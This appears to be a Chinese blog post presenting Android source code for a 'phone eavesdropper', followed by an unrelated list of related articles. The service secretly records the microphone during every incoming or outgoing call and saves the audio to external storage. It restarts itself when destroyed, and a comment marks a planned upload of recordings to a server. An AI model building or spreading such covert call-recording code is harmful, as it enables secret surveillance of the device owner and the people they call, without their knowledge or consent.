业务逻辑:

  当有电话打进来或电话打出去的时候,对电话进行录音。

public class TelphoneyListenerService extends Service {
private static final String TAG = "TelphoneyListenerService";
MediaRecorder mediaRecorder = null;
TelephonyManager tm = null;
MyListener myListener = null; @Override
public IBinder onBind(Intent intent) {
// TODO: Return the communication channel to the service.
throw new UnsupportedOperationException("Not yet implemented");
} @Override
public void onCreate() {
super.onCreate();
tm = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
myListener = new MyListener();
tm.listen(myListener, PhoneStateListener.LISTEN_CALL_STATE);
} @Override
public int onStartCommand(Intent intent, int flags, int startId) {
Toast.makeText(this, "服务启动成功", Toast.LENGTH_LONG).show();
return super.onStartCommand(intent, flags, startId);
} @Override
public void onDestroy() {
super.onDestroy();
Log.i(TAG, "电话监听服务一停止"); Intent intent = new Intent(this, TelphoneyListenerService1.class);
startService(intent); tm.listen(myListener,PhoneStateListener.LISTEN_NONE);
myListener = null;
} private class MyListener extends PhoneStateListener {
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:
if (mediaRecorder != null) {
mediaRecorder.stop();
mediaRecorder.release();
mediaRecorder = null;
Log.i(TAG, "录音结束");
//把录音后的音频文件发送给服务端
}
break;
case TelephonyManager.CALL_STATE_RINGING:
break;
case TelephonyManager.CALL_STATE_OFFHOOK:
//1、开启录音功能
Log.i(TAG, "开始录音");
mediaRecorder = new MediaRecorder();
//2、设置录音源头
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
//3、设置输出文件格式
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
//4、设置输出文件名
File file = new File(Environment.getExternalStorageDirectory(), System.currentTimeMillis() + ".3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
//5、设置编码格式
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
//6、准备
mediaRecorder.prepare();
//7、开始
mediaRecorder.start(); break;
} } catch (Exception e) {
e.printStackTrace();
}
}
}
}

电话qie听器的更多相关文章

  1. 关于如何获取/清除 MAXScript 侦听器内的文本

    关于如何获取/清除 MAXScript 侦听器内的文本 用来保存记录?还没想到实际用处,先记上. macroRecorder as string listener as stringclearList ...

  2. JavaScript DOM高级程序设计 4.3控制事件流和注册事件侦听器--我要坚持到底!

    一.事件流 我们通过下面一个实例,进行说明. <body> <h1>Event Flow</h1> <ul id="nav"> &l ...

  3. js事件流、事件处理程序/事件侦听器

    1.事件流 事件冒泡 IE的事件流叫做事件冒泡(event bubbling),即事件开始时由最具体的元素(文档中嵌套层次最深的那个节点)接收,然后逐级向上传播到较为不具体的节点(文档). 事件捕获 ...

  4. Android事件侦听器回调方法浅谈

    http://developer.51cto.com/art/201001/180846.htm Android事件侦听器作为视图View类的接口,其中包含有不少回调方法,比如:onClick():o ...

  5. 宣布正式发布 Windows Azure Notification Hub,新增 SQL Server AlwaysOn 可用性组侦听器支持

    今天,我们非常高兴地宣布,针对使用 Windows Azure 的移动和企业开发人员推出一些新功能.这些新功能可以减少构建移动应用程序的开发时间和成本,并能帮助企业开发人员实现高可用性和全球业务连续性 ...

  6. SQL Server使用侦听器IP访问时遇到"The target principal name is incorrect. Cannot generate SSPI context"

    在测试SQL Server 2016 Always On时,在创建侦听器后,在客户端使用SSMS, 可以用侦听器名称访问Always On集群,但是使用侦听器IP访问时遇到"The targ ...

  7. 异常将上下文初始化事件发送到类的侦听器实例.[org.springframework.web.context.ContextLoaderListener] org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'sessionFactory' defined in class p

    严重: 异常将上下文初始化事件发送到类的侦听器实例.[org.springframework.web.context.ContextLoaderListener]org.springframework ...

  8. vue文档阅读笔记——计算属性和侦听器

    页面链接:https://cn.vuejs.org/v2/guide/computed.html 注意点 计算属性用于 替代模板内的表达式. 如果计算属性所依赖的属性未更新,会返回自身的缓存. 侦听器 ...

  9. vue--监听器

    vue当中的属性,侦听器watch computed可以根据数据的变化而变化,而watch也具备同样的功能 既然这么相似,那么两者的区别是什么呢 首先是执行顺序上有一些细微差别,dom加载完成后将立即 ...

随机推荐

  1. 性能测试_响应时间、并发、RPS的关系

    写这篇文章是为了帮自己理清一下性能测试中最最基本,却总是被人忽略的一些概念. 并发: 什么叫并发?并发不是我们理解的在loadrunner场景中设置并发数,而是正在系统中执行操作或者在系统的队列中排队 ...

  2. 170. Two Sum III - Data structure design

    题目: Design and implement a TwoSum class. It should support the following operations: add and find. a ...

  3. Yorhom浅谈:作为一名初中生,自学编程的点点滴滴 - Yorhom's Game Box

    Yorhom浅谈:作为一名初中生,自学编程的点点滴滴 我是一名不折不扣的初中生,白天要背着书包去上学,晚上要拿起笔写作业.天天如此,年年如此. 我的爱好很广泛,喜欢了解历史,读侦探小说,骑车,打篮球, ...

  4. Android开发之ADT中无Annotation Processin的解决办法

    使用ButterKnife的时候,进入ADT中设置的时候发现在Java Compiler展开后无Annotation Processin 解决办法: 安装插件:Juno - http://downlo ...

  5. write & read a MapFile(基于全新2.2.0API)

    write & read a  MapFile import java.io.IOException; import org.apache.hadoop.io.IntWritable; imp ...

  6. hadoop2.2编程:MRUnit

    examples: Overview This document explains how to write unit tests for your map reduce code, and test ...

  7. 函数page_cur_search_with_match

    /****************************************************************//** Searches the right position fo ...

  8. C#检验数据有效性验证类

    using System; using System.Text; using System.Text.RegularExpressions; namespace Dachie.Common { /// ...

  9. 图文教您轻松学会用PS设计制作名片

    图文教您轻松学会用PS设计制作名片 http://jingyan.baidu.com/article/49711c614e7370fa441b7ca3.html

  10. hunnu 小明的烦恼——找字符串

    http://acm.hunnu.edu.cn/online/?action=problem&type=show&id=11544&courseid=0 小明的烦恼——找字符串 ...